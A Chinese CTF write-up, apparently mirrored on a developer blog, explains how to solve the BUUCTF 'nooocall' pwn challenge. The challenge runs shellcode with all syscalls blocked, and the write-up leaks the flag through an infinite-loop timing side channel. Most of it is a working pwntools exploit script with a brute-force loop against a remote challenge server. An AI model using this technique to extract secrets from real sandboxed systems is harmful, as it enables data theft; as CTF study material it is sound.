热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

[BUUCTF]xman_2019_nooocall

xman_2019_nooocall总结可以输入shellcode,但是又不能使用任何系统调用。因此,可以使用侧信道攻击,通过一些现象、反馈等猜测出flag。侧信道常用的反馈有错误

xman_2019_nooocall


总结

可以输入shellcode,但是又不能使用任何系统调用。因此,可以使用侧信道攻击,通过一些现象、反馈等猜测出flag。侧信道常用的反馈有错误、死循环、异常分支等。这里采用死循环,步骤为:



  • 编写shellcode猜测flag的每一位,如果比较正确则死循环



  • 使用tube.can_recv()进行判断,如果陷入死循环,说明当前字符猜测成功



buuctf上的flag都是uuid字符串,因此猜测的字符的范围限于0123456789abcdef-


EXP

from pwn import *
context.arch="amd64"
context.os='linux'
context.endian="little"
context.log_level="error"
shellcode = """
add al, 2
sal rax, 32
mov bl, byte ptr [rax+{}]
cmp bl, {}
jz $-0x3
"""
possible_char="0123456789abcdef-}"
pi = [ord(x) for x in possible_char]
flag = 'flag{'
idx = 5
n = 32
ip = 'node4.buuoj.cn'
port = 28277
print("ip: {}, port: {}".format(ip, port))
while 1:
bb = True
for x in pi:
# p = process("./xman_2019_nooocall")
p = remote(ip, port)
p.sendafter("Your Shellcode >>", asm(shellcode.format(idx, x)))
bb = p.can_recv(timeout=3)
p.close()
if not bb:
flag += chr(x)
print(f"current flag: {flag}")
break
if flag.endswith("}"):
break
if bb:
print("something wrong...")
continue
idx += 1

image-20211030001254942


引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli



推荐阅读
  • 采用IKE方式建立IPsec安全隧道
    一、【组网和实验环境】按如上的接口ip先作配置,再作ipsec的相关配置,配置文本见文章最后本文实验采用的交换机是H3C模拟器,下载地址如 ... [详细]
  • 本文详细解析了Python中的os和sys模块,介绍了它们的功能、常用方法及其在实际编程中的应用。 ... [详细]
  • 掌握远程执行Linux脚本和命令的技巧
    本文将详细介绍如何利用Python的Paramiko库实现远程执行Linux脚本和命令,帮助读者快速掌握这一实用技能。通过具体的示例和详尽的解释,让初学者也能轻松上手。 ... [详细]
  • 近期遇到 M1 Mac Mini 在休眠状态下频繁自动重启的问题,通过日志分析尝试找出可能的原因。 ... [详细]
  • 本文详细介绍如何使用Python进行配置文件的读写操作,涵盖常见的配置文件格式(如INI、JSON、TOML和YAML),并提供具体的代码示例。 ... [详细]
  • 本教程涵盖OpenGL基础操作及直线光栅化技术,包括点的绘制、简单图形绘制、直线绘制以及DDA和中点画线算法。通过逐步实践,帮助读者掌握OpenGL的基本使用方法。 ... [详细]
  • 基于KVM的SRIOV直通配置及性能测试
    SRIOV介绍、VF直通配置,以及包转发率性能测试小慢哥的原创文章,欢迎转载目录?1.SRIOV介绍?2.环境说明?3.开启SRIOV?4.生成VF?5.VF ... [详细]
  • 本文介绍如何在Node.js环境中执行Powershell脚本,并详细说明了通过子进程处理命令输出和错误信息的具体步骤。 ... [详细]
  • HBase运维工具全解析
    本文深入探讨了HBase常用的运维工具,详细介绍了每种工具的功能、使用场景及操作示例。对于HBase的开发人员和运维工程师来说,这些工具是日常管理和故障排查的重要手段。 ... [详细]
  • 深入解析Redis内存对象模型
    本文详细介绍了Redis内存对象模型的关键知识点,包括内存统计、内存分配、数据存储细节及优化策略。通过实际案例和专业分析,帮助读者全面理解Redis内存管理机制。 ... [详细]
  • 对象自省自省在计算机编程领域里,是指在运行时判断一个对象的类型和能力。dir能够返回一个列表,列举了一个对象所拥有的属性和方法。my_list[ ... [详细]
  • JavaScript 基础语法指南
    本文详细介绍了 JavaScript 的基础语法,包括变量、数据类型、运算符、语句和函数等内容,旨在为初学者提供全面的入门指导。 ... [详细]
  • 深入解析Java枚举及其高级特性
    本文详细介绍了Java枚举的概念、语法、使用规则和应用场景,并探讨了其在实际编程中的高级应用。所有相关内容已收录于GitHub仓库[JavaLearningmanual](https://github.com/Ziphtracks/JavaLearningmanual),欢迎Star并持续关注。 ... [详细]
  • 如何使用Ping命令来测试网络连接?当网卡安装和有关参数配置完成后,可以使用ping命令来测试一下网络是否连接成功。以winXP为例1、打开XP下DOS窗口具体操作是点击“开始”菜 ... [详细]
  • 本文探讨了在iOS平台上开发BLE(蓝牙低功耗)应用程序时遇到的挑战,特别是如何实现应用在后台模式下仍能持续扫描并连接蓝牙设备。文章提供了具体的配置方法和常见的问题解决方案。 ... [详细]
author-avatar
哈喽随风amy
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有